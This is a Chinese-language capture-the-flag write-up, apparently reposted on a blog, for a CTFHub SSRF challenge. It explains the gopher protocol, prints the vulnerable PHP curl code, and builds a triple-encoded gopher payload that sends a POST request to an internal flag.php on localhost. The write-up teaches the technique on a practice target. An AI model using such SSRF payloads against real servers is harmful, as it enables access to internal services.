CTFHUB之gopher協議實現SSRF


介紹

解題思路:
利用302協議(重定向)的跳轉ssrf。可以訪問與服務器相連的內網

①什么是gopher協議

Gopher是Internet上一個信息查找系統,它將Internet上的文件組織成某種
索引,方便用戶從Internet的一處帶到另一處。在WWW出現之前,Gopher
是Internet上最主要的信息檢索工具。使用tcp70端口。但在WWW出現
后,Gopher失去了昔日的輝煌。現在它基本過時,人們很少再使用它;
gopher協議支持發出GET、POST請求

②gopher協議適用條件



③使用步驟

  • 結構: gopher://127.0.0.1:80/內容(比如POST請求)

其中內容可以是字符串,php代碼,文件等。ip一般不用換,端口號要根據漏洞利用的環境更換。比如FASTCGI的9000端口

  • 要點:
    第一次編碼要把所有的%0A換成%0D0A,后再進行兩次編碼
    目標文件得有一些對應的利用功能,本題采用curl執行語句進行利用

CTFHUB SSRF題POST請求

訪問/?url=127.0.0.1/flag.php得到flag.php源碼。會發現有個框框。而且該框框輸入數據會提示只能內網訪問。

  • 注意

題目提示的302文件是不存在的。而index文件存在。這是題目比較坑的地方

  • 訪問index.php

/?url=file:///var/www/html/index.php 訪問index.php

  • 以下是index.php源碼,文中注釋我自己加的。源碼無注釋!
index源碼
 
if (!isset($REQUEST['url'])){
header("Location: /?url=
");
exit;
}

$ch = curl_init(); //初始化一次curl對話,ch返回curl句柄
//curl_setopt為 cURL 會話句柄設置選項。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要獲取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //啟用時會將頭文件的信息作為數據流輸出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩碼, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 設置 CURLOPT_FOLLOWLOCATION 時,什么情況下需要再次 HTTP POST 到重定向網址。
curl_exec($ch); //執行
curl_close($ch);

  • 思路1

目前已知flag.php含有奇怪字符key,index.php能夠接受url傳參,並利用curl功能訪問url傳參的內容。那么我們可以利用gopher協議往index.php中傳入一個POST請求包。請求包里是flag.php的key。那么就試一試吧

  • 往index.php傳入我們的payload

/?url=127.0.0.1:80/index.php?url=(gopher協議。傳入post請求)

  • 請求內網80端口的POST包
構造POST包
 
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

key=a074471dc0ef3956ab9dd46e708cca45

  • 編碼

3次編碼post請求包,全部都編碼噢,把上面的請求包所有代碼復制進去這個在線url編碼網站:http://ctf.ssleye.com/url.html

  • 第一次編碼:


  • 第二次編碼

把%0A全部替換成%0D%0A。小技巧:可以直接復制到word文檔查找替換



  • 第三次編碼


  • 最終得到的編碼如下。可以自己對比看看
最終編碼
 
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-
urlencoded%25250D%25250AContent-Length%25253A%2525207%25250D%25250A%25250D%25250Akey%25253Da074471dc0ef3956ab9dd46e708cca45
  
  • 完整payload:
完整payload
 
/?url=index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-
Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%2525207%25250D%25250A%25250D%25250Akey%25253Da074471dc0ef3956a
b9dd46e708cca45
  
  • 然后,我們拿到flag了嗎?

其實並沒有,不出意外你會看到這個界面



這是為什么呢?先別着急,我們訪問的是index.php但是卻看到了flag.php的信息,說明我們構造的語句是有效的!!!
這時候往源代碼去檢查。也就是第9序章我寫的post請求代碼。發現了content-length的長度為7,這是不正確的。因為我們傳入的key有36位之長

  • 改寫content-length長度,加深理解。獲取flag!

把7改成36之后,成功拿到flag!




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM